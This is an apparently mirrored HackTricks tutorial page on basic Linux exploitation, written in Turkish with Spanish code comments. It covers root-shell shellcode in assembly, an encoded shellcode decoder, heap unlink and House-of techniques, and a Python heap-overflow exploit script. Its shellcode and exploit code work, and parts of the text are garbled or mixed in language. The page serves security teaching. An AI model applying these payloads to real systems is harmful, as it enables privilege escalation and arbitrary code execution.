mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 16:10:54 +00:00
559 lines
33 KiB
Markdown
559 lines
33 KiB
Markdown
# Linux Exploiting (Basic) (SPA)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## **2.SHELLCODE**
|
||
|
||
Kerneli kesintileri verin: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||
|
||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||
exit(0); // \_\_NR\_exit 1
|
||
|
||
xor eax, eax ; eax'i temizle\
|
||
xor ebx, ebx ; ebx = 0 çünkü geçilecek argüman yok\
|
||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||
int 0x80 ; Syscall'ı çalıştır
|
||
|
||
**nasm -f elf assembly.asm** —> Bize bir .o döner\
|
||
**ld assembly.o -o shellcodeout** —> Bize, assembler kodundan oluşan bir çalıştırılabilir dosya verir ve **objdump** ile opcode'ları alabiliriz\
|
||
**objdump -d -Mintel ./shellcodeout** —> Gerçekten shellcode'umuz olduğunu görmek ve OpCodes almak için
|
||
|
||
**Shellcode'un çalıştığını kontrol et**
|
||
```
|
||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||
|
||
void main(){
|
||
void (*fp) (void);
|
||
fp = (void *)shellcode;
|
||
fp();
|
||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
Para sistem çağrılarının doğru yapıldığını görmek için yukarıdaki programı derlemek ve sistem çağrılarının **strace ./PROGRAMA\_COMPILADO**'da görünmesi gerekir.
|
||
|
||
Shellcode oluştururken bir hile yapılabilir. İlk talimat bir çağrıya atlamadır. Çağrı, orijinal kodu çağırır ve ayrıca yığına EIP'yi ekler. Çağrı talimatından sonra ihtiyaç duyduğumuz dizeyi ekledik, bu nedenle bu EIP ile dizeyi işaretleyebiliriz ve ayrıca kodu çalıştırmaya devam edebiliriz.
|
||
|
||
EJ **TRUCO (/bin/sh)**:
|
||
```
|
||
jmp 0x1f ; Salto al último call
|
||
popl %esi ; Guardamos en ese la dirección al string
|
||
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
||
xorl %eax, %eax ; eax = NULL
|
||
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
||
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
||
movl $0xb, %eax ; Syscall 11
|
||
movl %esi, %ebx ; arg1=“/bin/sh”
|
||
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
||
leal 0xc(%esi), %edx ; arg3 = NULL
|
||
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
||
xorl %ebx, %ebx ; ebx = NULL
|
||
movl %ebx, %eax
|
||
inc %eax ; Syscall 1
|
||
int $0x80 ; exit(0)
|
||
call -0x24 ; Salto a la primera instrución
|
||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
**EJ yığını kullanarak (/bin/sh):**
|
||
```
|
||
section .text
|
||
global _start
|
||
_start:
|
||
xor eax, eax ;Limpieza
|
||
mov al, 0x46 ; Syscall 70
|
||
xor ebx, ebx ; arg1 = 0
|
||
xor ecx, ecx ; arg2 = 0
|
||
int 0x80 ; setreuid(0,0)
|
||
xor eax, eax ; eax = 0
|
||
push eax ; “\0”
|
||
push dword 0x68732f2f ; “//sh”
|
||
push dword 0x6e69622f; “/bin”
|
||
mov ebx, esp ; arg1 = “/bin//sh\0”
|
||
push eax ; Null -> args[1]
|
||
push ebx ; “/bin/sh\0” -> args[0]
|
||
mov ecx, esp ; arg2 = args[]
|
||
mov al, 0x0b ; Syscall 11
|
||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||
```
|
||
**EJ FNSTENV:**
|
||
```
|
||
fabs
|
||
fnstenv [esp-0x0c]
|
||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||
…
|
||
```
|
||
**Egg Huter:**
|
||
|
||
Bir sürecin bellek sayfalarını tarayan ve orada saklanan shellcode'u arayan küçük bir kod parçasından oluşur (shellcode'da yer alan bir imzayı arar). Kod enjekte etmek için yalnızca küçük bir alanın bulunduğu durumlarda kullanışlıdır.
|
||
|
||
**Polimorfik Shellcodlar**
|
||
|
||
Şifrelenmiş shell'lerden oluşur ve bunları çözen ve ona atlayan küçük kodlar içerir, Call-Pop hilesini kullanarak bu bir **cesar şifreli örnek** olur:
|
||
```
|
||
global _start
|
||
_start:
|
||
jmp short magic
|
||
init:
|
||
pop esi
|
||
xor ecx, ecx
|
||
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
||
desc:
|
||
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
||
sub cl, 1
|
||
jnz desc
|
||
jmp short sc
|
||
magic:
|
||
call init
|
||
sc:
|
||
;Aquí va el shellcode
|
||
```
|
||
## **5.Tamamlayıcı Yöntemler**
|
||
|
||
**Murat Tekniği**
|
||
|
||
Linux'ta tüm programlar 0xbfffffff adresinden başlar.
|
||
|
||
Linux'ta yeni bir sürecin yığın yapısının nasıl oluşturulduğunu görmek, bir exploit geliştirmeyi sağlar; böylece program, yalnızca shellcode'un bulunduğu bir ortamda başlatılabilir. Bu durumda adres şöyle hesaplanabilir: addr = 0xbfffffff - 4 - strlen(TAM\_EXECUTABLE\_ADI) - strlen(shellcode)
|
||
|
||
Bu şekilde, shellcode'un bulunduğu ortam değişkeninin adresi kolayca elde edilebilir.
|
||
|
||
Bunu yapmak mümkündür çünkü execle fonksiyonu, yalnızca istenen ortam değişkenlerini içeren bir ortam oluşturulmasına izin verir.
|
||
|
||
###
|
||
|
||
### **Format Strings to Buffer Overflows**
|
||
|
||
**sprintf**, biçimlendirilmiş bir dizeyi bir **değişkene** **taşır.** Bu nedenle, bir dize biçimlendirmesini kötüye kullanarak, içeriğin kopyalandığı **değişkende bir buffer overflow** oluşturabilirsiniz.\
|
||
Örneğin, `%.44xAAAA` yükü, **değişkende 44B+"AAAA" yazacaktır**, bu da bir buffer overflow'a neden olabilir.
|
||
|
||
### **\_\_atexit Yapıları**
|
||
|
||
{% hint style="danger" %}
|
||
Günümüzde bunu istismar etmek çok **garip**.
|
||
{% endhint %}
|
||
|
||
**`atexit()`**, **diğer fonksiyonların parametre olarak geçirildiği** bir fonksiyondur. Bu **fonksiyonlar**, **`exit()`** veya **main**'in **dönüşü** sırasında **çalıştırılacaktır**.\
|
||
Eğer bu **fonksiyonlardan** herhangi birinin **adresini** shellcode'a işaret edecek şekilde **değiştirebilirseniz**, **sürecin kontrolünü** ele geçirebilirsiniz, ancak bu şu anda daha karmaşık.\
|
||
Şu anda, çalıştırılacak **fonksiyonların adresleri**, birkaç yapı arkasında **gizlidir** ve nihayetinde işaret ettikleri adresler, fonksiyonların adresleri değil, **XOR ile şifrelenmiş** ve **rastgele bir anahtar** ile kaydırılmıştır. Bu nedenle, şu anda bu saldırı vektörü **en azından x86** ve **x64\_86** üzerinde **çok kullanışlı değildir**.\
|
||
**Şifreleme fonksiyonu** **`PTR_MANGLE`**'dir. **m68k, mips32, mips64, aarch64, arm, hppa** gibi **diğer mimariler**, **şifreleme** fonksiyonunu **uygulamaz** çünkü bu fonksiyon, aldığı girdi ile aynı değeri döndürür. Bu nedenle, bu mimariler bu vektörle saldırıya uğrayabilir.
|
||
|
||
### **setjmp() & longjmp()**
|
||
|
||
{% hint style="danger" %}
|
||
Günümüzde bunu istismar etmek çok **garip**.
|
||
{% endhint %}
|
||
|
||
**`setjmp()`**, **bağlamı** (kayıtları) **kaydetmeye** olanak tanır.\
|
||
**`longjmp()`**, **bağlamı** **geri yüklemeye** olanak tanır.\
|
||
**Kaydedilen kayıtlar**: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||
Olan şey, EIP ve ESP'nin **`PTR_MANGLE`** fonksiyonu tarafından geçildiğidir, bu nedenle **bu saldırıya karşı savunmasız mimariler yukarıdaki ile aynıdır**.\
|
||
Hata kurtarma veya kesintiler için kullanışlıdır.\
|
||
Ancak, okuduğum kadarıyla, diğer kayıtlar korunmamıştır, **bu nedenle eğer çağrılan fonksiyon içinde `call ebx`, `call esi` veya `call edi` varsa**, kontrol ele geçirilebilir. Ya da EBP'yi değiştirerek ESP'yi de değiştirebilirsiniz.
|
||
|
||
**C++'da VTable ve VPTR**
|
||
|
||
Her sınıfın bir **Vtable**'ı vardır; bu, **metotlara işaret eden** bir dizidir.
|
||
|
||
Her **sınıf** nesnesinin bir **VPtr**'ı vardır; bu, sınıfının dizisine işaret eden bir **işaretçidir**. VPtr, her nesnenin başlığının bir parçasıdır, bu nedenle bir **VPtr**'ın **aşırı yazılması** sağlanırsa, bir sahte metoda **işaret edecek şekilde** **değiştirilebilir**, böylece bir fonksiyon çalıştırıldığında shellcode'a yönlendirilir.
|
||
|
||
## **Önleyici Tedbirler ve Kaçışlar**
|
||
|
||
###
|
||
|
||
**Libsafe Değiştirme**
|
||
|
||
Şu şekilde etkinleştirilir: LD\_PRELOAD=/lib/libsafe.so.2\
|
||
veya\
|
||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||
|
||
Güvensiz bazı fonksiyon çağrıları, güvenli olanlarla değiştirilir. Standart değildir. (sadece x86 için, -fomit-frame-pointer ile derlenmişler için değil, statik derlemeler için değil, tüm savunmasız fonksiyonlar güvenli hale gelmez ve LD\_PRELOAD, suid ile olan ikili dosyalarda işe yaramaz).
|
||
|
||
**ASCII Donanımlı Adres Alanı**
|
||
|
||
0x00000000 ile 0x00ffffff arasında paylaşılan kütüphaneleri yüklemeyi içerir, böylece her zaman bir 0x00 baytı bulunur. Ancak, bu gerçekten neredeyse hiçbir saldırıyı durdurmaz, özellikle little endian'da.
|
||
|
||
**ret2plt**
|
||
|
||
Bir ROP gerçekleştirerek strcpy@plt (plt'den) fonksiyonunu çağırmayı ve GOT'taki girişe işaret etmeyi ve çağrılmak istenen fonksiyonun ilk baytını (system()) kopyalamayı içerir. Ardından, GOT+1'e işaret ederek system()'in 2. baytını kopyalar... Sonunda, system()'in adresini saklayarak GOT'ta çağrılır.
|
||
|
||
**chroot() ile Kafesler**
|
||
|
||
debootstrap -arch=i386 hardy /home/user —> Belirli bir alt dizin altında temel bir sistem kurar.
|
||
|
||
Bir yönetici, bunlardan birinden çıkmak için: mkdir foo; chroot foo; cd ..
|
||
|
||
**Kod Enstrümantasyonu**
|
||
|
||
Valgrind —> Hataları arar\
|
||
Memcheck\
|
||
RAD (Return Address Defender)\
|
||
Insure++
|
||
|
||
## **8 Yığın Taşmaları: Temel Exploitler**
|
||
|
||
**Atanan Parça**
|
||
|
||
prev\_size |\
|
||
size | —Başlık\
|
||
\*mem | Veriler
|
||
|
||
**Boş Parça**
|
||
|
||
prev\_size |\
|
||
size |\
|
||
\*fd | İleri parça işaretçisi\
|
||
\*bk | Geri parça işaretçisi —Başlık\
|
||
\*mem | Veriler
|
||
|
||
Boş parçalar, çift bağlı bir listede (bin) bulunur ve asla yan yana iki boş parça olamaz (birleşirler).
|
||
|
||
“size” içinde, önceki parçanın kullanılıp kullanılmadığını, parçanın mmap() ile atanıp atanmadığını ve parçanın ana arenaya ait olup olmadığını belirten bitler vardır.
|
||
|
||
Eğer bir parçayı serbest bıraktığınızda, komşulardan biri boşsa, bunlar unlink() makrosu ile birleştirilir ve yeni daha büyük parça frontlink()'e geçirilir, böylece uygun bin'e eklenir.
|
||
|
||
unlink(){\
|
||
BK = P->bk; —> Yeni parçanın BK'si, daha önce boş olan parçanın BK'sidir.\
|
||
FD = P->fd; —> Yeni parçanın FD'si, daha önce boş olan parçanın FD'sidir.\
|
||
FD->bk = BK; —> Sonraki parçanın BK'si yeni parçaya işaret eder.\
|
||
BK->fd = FD; —> Önceki parçanın FD'si yeni parçaya işaret eder.\
|
||
}
|
||
|
||
Bu nedenle, eğer P->bk'yi bir shellcode adresi ile ve P->fd'yi GOT veya DTORS'taki bir girişin adresi ile -12 ile değiştirirsek:
|
||
|
||
BK = P->bk = \&shellcode\
|
||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
||
|
||
Ve böylece programdan çıkarken shellcode çalıştırılır.
|
||
|
||
Ayrıca, unlink()'in 4. ifadesi bir şey yazar ve shellcode bunun için onarılmalıdır:
|
||
|
||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Bu, shellcode'un 8. baytından itibaren 4 bayt yazılmasına neden olur, bu nedenle shellcode'un ilk talimatı, bunu atlamak ve geri kalan shellcode'a ulaşmak için bir jmp olmalıdır.
|
||
|
||
Bu nedenle exploit şöyle oluşturulur:
|
||
|
||
buffer1'e shellcode'u, nops'a düşecek bir jmp ile başlarız.
|
||
|
||
Shellcode'dan sonra, bir önceki parçanın prev\_size ve size alanına kadar dolgu ekleriz. Bu alanlara 0xfffffff0 (önceki parçanın boş olduğunu belirten biti ayarlamak için) ve “-4“(0xfffffffc) ekleriz (3. parçanın 2. parçanın gerçekten boş olup olmadığını kontrol ettiğinde, ona boş olduğunu söyleyen değiştirilmiş prev\_size'a gidecektir) -> Böylece free() araştırdığında, 3. parçanın boyutuna gidecek, ancak aslında 2. parçaya -4 gidecek ve 2. parçanın boş olduğunu düşünecektir. Ve ardından **unlink()**'i çağıracaktır.
|
||
|
||
unlink() çağrıldığında, P->fd olarak 2. parçanın ilk verilerini kullanacak, bu nedenle oraya yazmak istediğiniz adresi -12 (çünkü FD->bk, FD'deki saklanan adrese 12 ekleyecektir) yerleştirecektir. Ve bu adrese, 2. parçadaki ikinci adresi yerleştirecektir, bu da shellcode'a işaret etmesini istediğimiz adrestir (sahte P->bk).
|
||
|
||
**from struct import \***
|
||
|
||
**import os**
|
||
|
||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bayt dolgu**
|
||
|
||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||
|
||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||
|
||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||
|
||
**prev\_size = pack("\<I”, 0xfffffff0) #Önceki parçanın boş olduğunu belirten bitin 1 olması gerekir.**
|
||
|
||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, böylece 3. parçanın “size”ı 4 bayt geride olduğunu düşünür (prev\_size'a işaret eder) çünkü burada 2. parçanın boş olup olmadığını kontrol eder.**
|
||
|
||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Yükün başında 8 bayt dolgu ekleyeceğiz.**
|
||
|
||
**got\_free = pack("\<I", 0x08048300 - 12) #free() adresi plt'de -12 (shellcode'u çalıştırmak için 2. kez free() çağrıldığında yazılacak adres).**
|
||
|
||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Daha önce belirtildiği gibi, yük 8 bayt dolgu ile başlar.**
|
||
|
||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #2. parçayı değiştiriyoruz, got\_free, addr\_sc + 12 adresini saklayacağımız yere işaret ediyor.**
|
||
|
||
**os.system("./8.3.o " + payload)**
|
||
|
||
**unset() tersine serbest bırakma (wargame)**
|
||
|
||
Üç ardışık parçayı kontrol ediyoruz ve bunlar, ayrıldıkları sıranın tersine serbest bırakılıyor.
|
||
|
||
Bu durumda:
|
||
|
||
c parçasına shellcode yerleştiriyoruz.
|
||
|
||
a parçasını, b parçasını öyle bir şekilde aşırı yazmak için kullanıyoruz ki, size alanında PREV\_INUSE bitinin devre dışı bırakılmasını sağlıyoruz, böylece a parçasının boş olduğunu düşünür.
|
||
|
||
Ayrıca, b başlığında size'ı -4 olacak şekilde aşırı yazıyoruz.
|
||
|
||
Böylece program, “a”nın boş olduğunu düşünecek ve bir bin içinde olacak, bu nedenle unlink() çağıracaktır. Ancak, PREV\_SIZE başlığı -4 olduğundan, “a” parçasının aslında b+4'te başladığını düşünecektir. Yani, b+4'te bir unlink() yapacak, bu nedenle b+12'de fd işaretçisi ve b+16'da bk işaretçisi olacaktır.
|
||
|
||
Bu şekilde, bk'ye shellcode adresini ve fd'ye puts() adresini -12 yerleştirirsek, yükümüzü elde ederiz.
|
||
|
||
**Frontlink Tekniği**
|
||
|
||
Frontlink, bir şey serbest bırakıldığında ve komşu parçaların hiçbiri boş değilse çağrılır, unlink() çağrılmaz, doğrudan frontlink() çağrılır.
|
||
|
||
Kullanışlı bir zafiyet, saldırıya uğrayan malloc'un asla serbest bırakılmadığı durumdur (free()).
|
||
|
||
Gerektirir:
|
||
|
||
* Giriş verileri ile taşma yapabilecek bir buffer
|
||
* Bu buffer'a bitişik bir buffer, serbest bırakılacak ve önceki buffer'ın taşması sayesinde başlığındaki fd alanı değiştirilecektir.
|
||
* Boyutu 512'den büyük ama önceki buffer'dan küçük bir buffer
|
||
* Bu adım 3'ten önce tanımlanmış bir buffer, bu buffer'ın prev\_size'ını aşırı yazmaya izin verir.
|
||
|
||
Bu şekilde, iki malloc'ta kontrolsüz bir şekilde ve birinde kontrollü bir şekilde aşırı yazmayı başardığımızda, bir exploit oluşturabiliriz.
|
||
|
||
**double free() Zafiyeti**
|
||
|
||
Eğer aynı işaretçi ile free() iki kez çağrılırsa, iki bin aynı adrese işaret eder.
|
||
|
||
Birini yeniden kullanmak isterseniz, sorun olmadan atanır. Diğerini kullanmak isterseniz, aynı alan atanır, bu nedenle fd ve bk işaretçileri, önceki rezervasyonun yazacağı verilerle sahte olur.
|
||
|
||
**After free()**
|
||
|
||
Daha önce serbest bırakılmış bir işaretçi, kontrolsüz bir şekilde yeniden kullanılır.
|
||
|
||
## **8 Yığın Taşmaları: İleri Düzey Exploitler**
|
||
|
||
Unlink() ve FrontLink() teknikleri, unlink() fonksiyonu değiştirilerek kaldırıldı.
|
||
|
||
**The house of mind**
|
||
|
||
Arbitrary kodun yürütülmesini sağlamak için yalnızca bir free() çağrısı gereklidir. İlgili bir ikinci parçayı aramak önemlidir; bu parça, bir önceki parça tarafından taşma yapılabilir ve serbest bırakılabilir.
|
||
|
||
Bir free() çağrısı, public\_fREe(mem) çağrısını tetikler, bu da:
|
||
|
||
mstate ar\_ptr;
|
||
|
||
mchunkptr p;
|
||
|
||
…
|
||
|
||
p = mem2chunk(mem); —> Parçanın başladığı adrese işaret eden bir işaretçi döndürür (mem-8)
|
||
|
||
…
|
||
|
||
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
||
|
||
…
|
||
|
||
\_int\_free(ar\_ptr, mem);
|
||
|
||
}
|
||
|
||
\[1\] içinde, size alanını kontrol eder, NON\_MAIN\_ARENA bitini, bu bitin değiştirilmesi, kontrolün true döndürmesini ve heap\_for\_ptr()'i çalıştırmasını sağlar; bu da “mem” üzerinde bir and işlemi yaparak en az önemli 2.5 baytı sıfıra indirir (bu durumda 0x0804a000'dan 0x08000000'a düşer) ve 0x08000000->ar\_ptr'a erişir (sanki bir struct heap\_info'muş gibi).
|
||
|
||
Bu şekilde, örneğin 0x0804a000'da bir parçayı kontrol edebiliyorsak ve 0x081002a0'da bir parça serbest bırakılacaksa, 0x08100000 adresine ulaşabilir ve istediğimiz şeyi yazabiliriz, örneğin **0x0804a000**. Bu ikinci parça serbest bırakıldığında, heap\_for\_ptr(ptr)->ar\_ptr, 0x08100000'da yazdığımızı döndürecektir (çünkü daha önce gördüğümüz and işlemi 0x081002a0'a uygulanır ve buradan ilk 4 baytın değeri, ar\_ptr olarak alınır).
|
||
|
||
Bu şekilde, \_int\_free(ar\_ptr, mem) çağrılır, yani **\_int\_free(0x0804a000, 0x081002a0)**\
|
||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||
…\
|
||
bck = unsorted\_chunks(av);\
|
||
fwd = bck->fd;\
|
||
p->bk = bck;\
|
||
p->fd = fwd;\
|
||
bck->fd = p;\
|
||
fwd->bk = p;
|
||
|
||
..}
|
||
|
||
Daha önce gördüğümüz gibi, av değerini kontrol edebiliriz, çünkü serbest bırakılacak parçada yazdığımız şeydir.
|
||
|
||
Unsorted\_chunks tanımına göre, şunu biliyoruz:\
|
||
bck = \&av->bins\[2]-8;\
|
||
fwd = bck->fd = \*(av->bins\[2]);\
|
||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||
|
||
Bu nedenle, av->bins\[2]'ye \_\_DTOR\_END\_\_-12 değerini yazarsak, son talimat, \_\_DTOR\_END\_\_ adresini yazacaktır.
|
||
|
||
Yani, ilk parçada, birçok kez \_\_DTOR\_END\_\_-12 adresini başa koymalıyız, çünkü av->bins\[2] oradan alacaktır.
|
||
|
||
İkinci parçanın adresine, son 5 sıfırla birlikte, bu ilk parçanın adresini yazmalıyız, böylece heap\_for\_ptr() ar\_ptr'ın ilk parçanın başında olduğunu düşünür ve oradan av->bins\[2]'yi alır.
|
||
|
||
İkinci parçada ve birinciden dolayı, prev\_size'ı 0x0c ile ve size'ı NON\_MAIN\_ARENA'yı etkinleştirecek şekilde aşırı yazıyoruz.
|
||
|
||
Ardından, 2. parçaya bir sürü nop koyuyoruz ve sonunda shellcode'u yerleştiriyoruz.
|
||
|
||
Bu şekilde, \_int\_free(TROZO1, TROZO2) çağrılır ve talimatları izleyerek \_\_DTOR\_END\_\_ adresine TROZO2'nin prev\_size'ını yazar, bu da shellcode'a atlayacaktır.
|
||
|
||
Bu tekniği uygulamak için, payload'u biraz daha karmaşıklaştıran bazı gereksinimlerin karşılanması gerekir.
|
||
|
||
Bu teknik artık uygulanamaz çünkü unlink için neredeyse aynı yamanın uygulandığı görüldü. Yeni işaret edilen yerin de kendisine işaret edip etmediği kontrol edilir.
|
||
|
||
**Fastbin**
|
||
|
||
The house of mind'ın bir varyantıdır.
|
||
|
||
Aşağıdaki kodu yürütmek için, ilk kontrolü geçtikten sonra ulaşmak önemlidir:
|
||
|
||
fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2
|
||
|
||
…
|
||
|
||
p->fd = \*fb
|
||
|
||
\*fb = p
|
||
|
||
Bu şekilde, “fb”de GOT'taki bir fonksiyonun adresi verilirse, bu adrese aşırı yazılmış parça adresi yerleştirilecektir. Bunun için arenanın dtors adreslerine yakın olması gerekecektir. Daha kesin olarak, av->max\_fast'ın aşırı yazılacak adresin üzerinde olması gerekmektedir.
|
||
|
||
The House of Mind ile, av'nın konumunu kontrol edebildiğimiz görüldü.
|
||
|
||
Bu nedenle, size alanına 8 + NON\_MAIN\_ARENA + PREV\_INUSE yazarsak —> fastbin\_index() fastbins\[-1] döndürecektir, bu da av->max\_fast'a işaret edecektir.
|
||
|
||
Bu durumda av->max\_fast, aşırı yazılacak adres olacaktır (işaret ettiği değil, bu konum aşırı yazılacaktır).
|
||
|
||
Ayrıca, serbest bırakılan parçanın komşusunun 8'den büyük olması gerektiği gereklidir -> Daha önce serbest bırakılan parçanın boyutunun 8 olduğunu söyledik, bu sahte parçada yalnızca 8'den büyük bir boyut koymalıyız (çünkü shellcode serbest bırakılan parçada olacağından, başta nops'a düşecek bir jmp koymalıyız).
|
||
|
||
Ayrıca, bu sahte parça, av->system\_mem'den daha küçük olmalıdır. av->system\_mem, 1848 bayt daha ileridedir.
|
||
|
||
\_\_DTOR\_END\_ ve GOT'taki az sayıda adres nedeniyle, bu bölümlerin hiçbiri aşırı yazılmak için uygun değildir, bu nedenle yığın saldırısı uygulamak için fastbin'i nasıl uygulayacağımıza bakalım.
|
||
|
||
Başka bir saldırı yöntemi, **av**'yi yığına yönlendirmektir.
|
||
|
||
Boyutu 8 yerine 16 olacak şekilde değiştirirsek, fastbin\_index() fastbins\[0] döndürecektir ve bunu kullanarak yığını aşırı yazabiliriz.
|
||
|
||
Bunun için yığında hiçbir canary veya garip değer olmamalıdır, aslında bu durumda 4 bayt sıfır + EBP + RET olmalıdır.
|
||
|
||
4 bayt sıfır, **av**'nin bu adreste olmasını gerektirir ve bir **av**'nin ilk öğesi, 0 olmalıdır.
|
||
|
||
**av->max\_fast**, EBP olacaktır ve bu, kısıtlamaları atlamak için kullanışlı bir değer olacaktır.
|
||
|
||
**av->fastbins\[0]**'da, **p** adresi ile aşırı yazılacak ve RET olacaktır, böylece shellcode'a atlayacaktır.
|
||
|
||
Ayrıca, **av->system\_mem** (yığın konumunun 1484 bayt yukarısında) yeterince çöp olacaktır, bu da kontrolü atlamamıza izin verecektir.
|
||
|
||
Ayrıca, serbest bırakılan parçanın komşusunun 8'den büyük olması gerektiği gereklidir -> Daha önce serbest bırakılan parçanın boyutunun 16 olduğunu söyledik, bu sahte parçada yalnızca 8'den büyük bir boyut koymalıyız (çünkü shellcode serbest bırakılan parçada olacağından, başta nops'a düşecek bir jmp koymalıyız).
|
||
|
||
**The House of Spirit**
|
||
|
||
Bu durumda, saldırgan tarafından değiştirilebilen bir malloc işaretçisine sahip olmayı arıyoruz (örneğin, işaretçi, bir değişkene olası bir taşma altında yığında olabilir).
|
||
|
||
Bu şekilde, bu işaretçiyi istediğimiz yere yönlendirebiliriz. Ancak, her yer geçerli değildir; sahte parçanın boyutu av->max\_fast'tan küçük olmalı ve daha spesifik olarak, gelecekteki bir malloc() çağrısında istenen boyuta eşit olmalıdır. Bu nedenle, bu işaretçi savunmasız olduğunda malloc(40) çağrıldığında, sahte parçanın boyutu 48 olmalıdır.
|
||
|
||
Örneğin, program kullanıcıdan bir sayı isterse, 48 girebiliriz ve değiştirilebilir malloc işaretçisini sonraki 4 bayta (şans eseri EBP'ye ait olabilecek) yönlendirebiliriz, böylece 48 geride kalır, sanki başlık boyutuymuş gibi. Ayrıca, ptr-4+48 adresinin birkaç koşulu karşılaması gerekir (bu durumda ptr=EBP), yani 8 < ptr-4+48 < av->system\_mem.
|
||
|
||
Bu koşullar sağlanırsa, bir sonraki malloc çağrısı malloc(40) olduğunda, EBP adresini atayacaktır. Eğer saldırgan bu malloc'ta ne yazılacağını da kontrol edebiliyorsa, hem EBP'yi hem de EIP'yi istediği adresle aşırı yazabilir.
|
||
|
||
Bunun nedeni, free() çağrıldığında, yığın üzerindeki EBP adresine işaret eden bir parçanın, yeni malloc() için ayrılacak olan parçanın boyutuna mükemmel bir şekilde uygun bir parça olduğunu kaydetmesidir, bu nedenle o adresi atar.
|
||
|
||
**The House of Force**
|
||
|
||
Gereklidir:
|
||
|
||
* Aşırı yazmaya izin veren bir parçaya taşma
|
||
* Kullanıcı tarafından belirlenen boyutta bir malloc() çağrısı
|
||
* Kullanıcı tarafından tanımlanabilen verilerle bir malloc() çağrısı
|
||
|
||
İlk olarak, wilderness parçasının boyutunu çok büyük bir değerle (0xffffffff) aşırı yazıyoruz, böylece yeterince büyük herhangi bir bellek talebi, yığın genişletilmeden \_int\_malloc() içinde işlenir.
|
||
|
||
İkincisi, av->top'u saldırganın kontrolü altındaki bir bellek alanına, örneğin yığına işaret edecek şekilde değiştirmektir. av->top'a \&EIP - 8 yazılacaktır.
|
||
|
||
av->top'u, saldırganın kontrolü altındaki bellek alanına işaret edecek şekilde aşırı yazmalıyız:
|
||
|
||
victim = av->top;
|
||
|
||
remainder = chunck\_at\_offset(victim, nb);
|
||
|
||
av->top = remainder;
|
||
|
||
Victim, mevcut wilderness parçasının adresinin değerini (mevcut av->top) alır ve remainder, o adresin üzerine malloc() tarafından istenen bayt sayısını ekler. Yani, eğer \&EIP-8 0xbffff224'de ve av->top 0x080c2788'de ise, kontrol edilen malloc'ta av->top'un $EIP-8'e işaret etmesi için ayırmamız gereken miktar:
|
||
|
||
0xbffff224 - 0x080c2788 = 3086207644.
|
||
|
||
Böylece av->top'a değiştirilmiş değer kaydedilir ve bir sonraki malloc, EIP'ye işaret eder ve onu aşırı yazabilir.
|
||
|
||
Yeni wilderness parçasının boyutunun, son malloc() talebinden daha büyük olması önemlidir. Yani, wilderness \&EIP-8'e işaret ediyorsa, boyut tam olarak yığındaki EBP alanında kalacaktır.
|
||
|
||
**The House of Lore**
|
||
|
||
**SmallBin Bozulması**
|
||
|
||
